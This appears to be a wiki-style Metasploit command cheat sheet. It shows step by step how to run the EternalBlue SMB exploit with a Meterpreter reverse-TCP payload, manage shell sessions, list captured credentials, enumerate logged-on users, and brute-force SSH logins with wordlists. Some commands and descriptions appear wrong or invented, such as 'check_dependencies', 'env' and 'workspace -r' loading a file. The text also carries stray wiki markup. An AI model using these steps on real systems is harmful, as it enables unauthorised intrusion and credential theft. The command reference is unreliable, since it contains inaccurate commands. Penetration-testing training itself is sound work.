METASPLOIT - Base Commands

Starting Metasploit Console

To start the Metasploit Framework console, use the following command:

msfconsole

This launches the Metasploit interactive console, where you can execute various commands for penetration testing.

Search for Exploits

To search for a specific exploit module or vulnerability in Metasploit:

search <search_term>

For example, to search for exploits related to "Windows SMB":

search smb windows

This will list all relevant exploits, auxiliary modules, and payloads.

Show Available Modules

To list all available Metasploit modules, use:

show modules

This command lists all types of modules, including exploits, auxiliary, post-exploitation, and payloads.

Use an Exploit Module

To use an exploit module:

use <module_path>

For example, to use an SMB exploit:

use exploit/windows/smb/ms17_010_eternalblue

This sets the module for use in the current session.

Show Module Options

To view the options available for a specific module:

show options

This displays required and optional parameters for the current module.

Set Module Options

To set the required parameters for an exploit, such as the target IP address:

set RHOST <target_ip>

Replace `<target_ip>` with the actual target machine's IP address. You can set other options in a similar way.

Show Payloads

To list all available payloads for a specific exploit:

show payloads

This will show the payloads compatible with the currently selected exploit.

Select and Set Payload

To select and configure a payload:

set PAYLOAD <payload_name>

For example, to set a reverse TCP payload:

set PAYLOAD windows/meterpreter/reverse_tcp

You can then set specific options for the payload, like the LHOST (local host IP):

set LHOST <local_ip>

1. 1. 1. Example:

set LHOST 192.168.1.100

Running the Exploit

Once the module and payload are set, you can run the exploit:

exploit

This will execute the exploit and attempt to gain access to the target machine.

Running the Exploit in Background

If you want to run the exploit in the background without blocking the terminal:

exploit -j

The `-j` flag runs the exploit as a background job.

Show Sessions

To view active sessions after exploiting a target:

sessions

This command shows a list of all active sessions (Meterpreter or shell sessions).

Interact with a Session

To interact with a specific session:

sessions -i <session_id>/nowiki>

For example, to interact with session 1:

 <nowiki>
sessions -i 1

This gives you a shell or Meterpreter prompt for that session.

Background a Session

To background a session and return to the main Metasploit console:

background

This command puts the current session in the background, allowing you to continue working on other tasks in the console.

Session Cleanup

To terminate a specific session:

sessions -k <session_id>

For example:

sessions -k 1

This closes session 1.

Exploit Vulnerability Verification

To verify if a specific vulnerability exists on the target machine, use the following command:

check

This will run basic checks to determine if the target is vulnerable to the selected exploit.

List Credentials

If you have gained access to the target system and want to list available credentials:

creds

This command shows all credentials (e.g., username and password pairs) captured during the session.

Save Your Progress

To save the current state of your Metasploit session (including all modules, options, and sessions):

save

This will save your current Metasploit environment to the default location.

Load a Saved Workspace

To load a saved Metasploit workspace:

workspace -r <workspace_file>

This will restore your saved workspace, including all settings, modules, and sessions.

Managing Workspaces

To list all available workspaces:

workspace

To create a new workspace:

workspace -a <workspace_name>

To switch between workspaces:

workspace <workspace_name>

1. 1. 1. Example:

workspace my_new_workspace

Running Auxiliary Modules

To use an auxiliary module (e.g., a scanner):

use auxiliary/scanner/portscan/tcp

You can then set the target and run the module just like with an exploit.

Start a Post-Exploitation Module

Once you have access to a system, you can use post-exploitation modules. For example, to use a module that collects information about the target:

use post/windows/gather/enum_logged_on_users

This collects information about logged-on users on the Windows target.

Show Help for Commands

To get help for a specific command or module, use:

help <command>

For example, to get help on the `sessions` command:

help sessions

This will display detailed usage instructions and options for the command.

Advanced Search for Exploits

You can use advanced search queries to filter modules by specific parameters:

search type:exploit platform:windows name:ms17_010

This command searches for exploits related to the MS17-010 vulnerability on Windows platforms.

Check for Dependencies

To check if a module has any missing dependencies before use:

check_dependencies

This command will list any missing libraries or files needed to run a module.

Perform a Dictionary Attack

To use a dictionary attack against an SSH service, for example:

use auxiliary/scanner/ssh/ssh_login
set RHOSTS <target_ip>
set USER_FILE /path/to/usernames.txt
set PASS_FILE /path/to/passwords.txt
run

This runs an SSH login brute-force attack using the specified username and password lists.

Display Environment Variables

To display the current environment variables in Metasploit:

env

This will show details about the current environment, including system and framework-specific variables.

Exit Metasploit Console

To exit the Metasploit console:

exit

This command will close the Metasploit Framework console and return to the command-line prompt.